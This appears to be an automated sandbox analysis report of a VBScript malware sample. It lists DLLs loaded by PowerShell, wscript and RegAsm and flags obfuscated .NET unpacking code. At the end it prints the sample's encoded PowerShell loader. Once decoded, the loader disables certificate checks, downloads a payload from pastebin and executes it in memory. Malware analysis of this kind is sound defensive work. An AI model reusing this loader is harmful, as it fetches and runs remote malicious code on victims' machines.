Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: ___win________________________________________-------.lnk.4.dr

LNK file: ..\..\..\..\..\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: sostener.vbs

Static file information: File size 16171698 > 1048576

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, 4Q2ibNxyBllaUbuES.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{ZpzrPEZWa4qWEcgScAD5NnsFlzPm2Y9.zvY5BN2heK2TIOcNrbC0bNPZMGqnvAf,ZpzrPEZWa4qWEcgScAD5NnsFlzPm2Y9._0vBrtUZw7hUa1AOY5rvY7w8NmpLzHvD,ZpzrPEZWa4qWEcgScAD5NnsFlzPm2Y9.bh72IhDw8xw2gMDfROdrEx3RkxspqBE,ZpzrPEZWa4qWEcgScAD5NnsFlzPm2Y9.qQLtJVEG6Uovk3EgktqwU8y7gjto7WK,gNcBSL9UPrQHBDmUF.DfcW1H207ggSRdKZf()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, 4Q2ibNxyBllaUbuES.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{EbvtVjzdwvbRTWudA[2],gNcBSL9UPrQHBDmUF.JMsdl19vGU2jGWaRz(Convert.FromBase64String(EbvtVjzdwvbRTWudA[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, 4Q2ibNxyBllaUbuES.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{ZpzrPEZWa4qWEcgScAD5NnsFlzPm2Y9.zvY5BN2heK2TIOcNrbC0bNPZMGqnvAf,ZpzrPEZWa4qWEcgScAD5NnsFlzPm2Y9._0vBrtUZw7hUa1AOY5rvY7w8NmpLzHvD,ZpzrPEZWa4qWEcgScAD5NnsFlzPm2Y9.bh72IhDw8xw2gMDfROdrEx3RkxspqBE,ZpzrPEZWa4qWEcgScAD5NnsFlzPm2Y9.qQLtJVEG6Uovk3EgktqwU8y7gjto7WK,gNcBSL9UPrQHBDmUF.DfcW1H207ggSRdKZf()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, 4Q2ibNxyBllaUbuES.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{EbvtVjzdwvbRTWudA[2],gNcBSL9UPrQHBDmUF.JMsdl19vGU2jGWaRz(Convert.FromBase64String(EbvtVjzdwvbRTWudA[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: 4.2.powershell.exe.28700478df0.2.raw.unpack, Class1.cs	.Net Code: MsqBIbY System.AppDomain.Load(byte[])
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, 4Q2ibNxyBllaUbuES.cs	.Net Code: ZsPuYsgyWtYvjRnlJ System.AppDomain.Load(byte[])
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, 4Q2ibNxyBllaUbuES.cs	.Net Code: Y9nt7JRhx6AOzIydJ System.AppDomain.Load(byte[])
Source: 4.2.powershell.exe.287005f0550.1.raw.unpack, 4Q2ibNxyBllaUbuES.cs	.Net Code: Y9nt7JRhx6AOzIydJ
Source: 4.2.powershell.exe.287017daf68.0.raw.unpack, Class1.cs	.Net Code: MsqBIbY System.AppDomain.Load(byte[])
Source: 4.2.powershell.exe.2877ca20000.4.raw.unpack, Class1.cs	.Net Code: MsqBIbY System.AppDomain.Load(byte[])
Source: 14.2.powershell.exe.272d7b8ec50.0.raw.unpack, Class1.cs	.Net Code: MsqBIbY System.AppDomain.Load(byte[])
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, 4Q2ibNxyBllaUbuES.cs	.Net Code: ZsPuYsgyWtYvjRnlJ System.AppDomain.Load(byte[])
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, 4Q2ibNxyBllaUbuES.cs	.Net Code: Y9nt7JRhx6AOzIydJ System.AppDomain.Load(byte[])
Source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, 4Q2ibNxyBllaUbuES.cs	.Net Code: Y9nt7JRhx6AOzIydJ
Source: 14.2.powershell.exe.272d6819978.1.raw.unpack, Class1.cs	.Net Code: MsqBIbY System.AppDomain.Load(byte[])

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $LoPuennnTes = 'J?Bh?G0?cwBo?GU?I??9?C??Jw?w?DM?Jw?7?CQ?dgB2?GU?cgBy?C??PQ?g?Cc?JQBw?Ho?QQBj?E8?ZwBJ?G4?TQBy?CU?Jw?7?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBy?HY?aQBj?GU?U?Bv?Gk?bgB0?E0?YQBu?GE?ZwBl?HI?XQ?6?Do?UwBl?HI?dgBl?HI?QwBl?HI?d?Bp?GY?aQBj?GE?d?Bl?FY?YQBs?Gk?Z?Bh?HQ?aQBv?G4?QwBh?Gw?b?Bi?GE?YwBr?C??PQ?g?Hs?J?B0?HI?dQBl?H0?OwBb?FM?eQBz?HQ?ZQBt?C4?TgBl?HQ?LgBT?GU?cgB2?Gk?YwBl?F??bwBp?G4?d?BN?GE?bgBh?Gc?ZQBy?F0?Og?6?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?I??9?C??WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?GM?dQBy?Gk?d?B5?F??cgBv?HQ?bwBj?G8?b?BU?Hk?c?Bl?F0?Og?6?FQ?b?Bz?DE?Mg?7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?a?B6?GY?YgBz?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?Cg?TgBl?Hc?LQBP?GI?agBl?GM?d??g?E4?ZQB0?C4?VwBl?GI?QwBs?Gk?ZQBu?HQ?KQ?u?EQ?bwB3?G4?b?Bv?GE?Z?BT?HQ?cgBp?G4?Zw?o?C??K?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??TgBl?HQ?LgBX?GU?YgBD?Gw?aQBl?G4?d??p?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?JwBo?HQ?d?Bw?Do?Lw?v?H??YQBz?HQ?ZQBi?Gk?bg?u?GM?bwBt?C8?cgBh?Hc?LwBW?Dk?eQ?1?FE?NQB2?HY?Jw?p?C??KQ?g?Ck?OwBb?HM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Do?QwB1?HI?cgBl?G4?d?BE?G8?bQBh?Gk?bg?u?Ew?bwBh?GQ?K??k?Gg?egBm?GI?cw?p?C4?RwBl?HQ?V?B5?H??ZQ?o?Cc?V?Bl?Gg?dQBs?GM?a?Bl?HM?W?B4?Fg?e?B4?C4?QwBs?GE?cwBz?DE?Jw?p?C4?RwBl?HQ?TQBl?HQ?a?Bv?GQ?K??n?E0?cwBx?EI?SQBi?Fk?Jw?p?C4?SQBu?HY?bwBr?GU?K??k?G4?dQBs?Gw?L??g?Fs?bwBi?Go?ZQBj?HQ?WwBd?F0?I??o?Cc?Yg?3?FM?SgBi?Dc?R?Bj?C8?dwBh?HI?LwBt?G8?Yw?u?G4?aQBi?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?HY?dgBl?HI?cg?g?Cw?I??n?F8?XwBf?Hc?aQBu?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?LQ?t?C0?LQ?t?C0?LQ?n?Cw?I??k?GE?bQBz?Gg?ZQ?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $LoPuennnTes.replace('?','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;$global:?
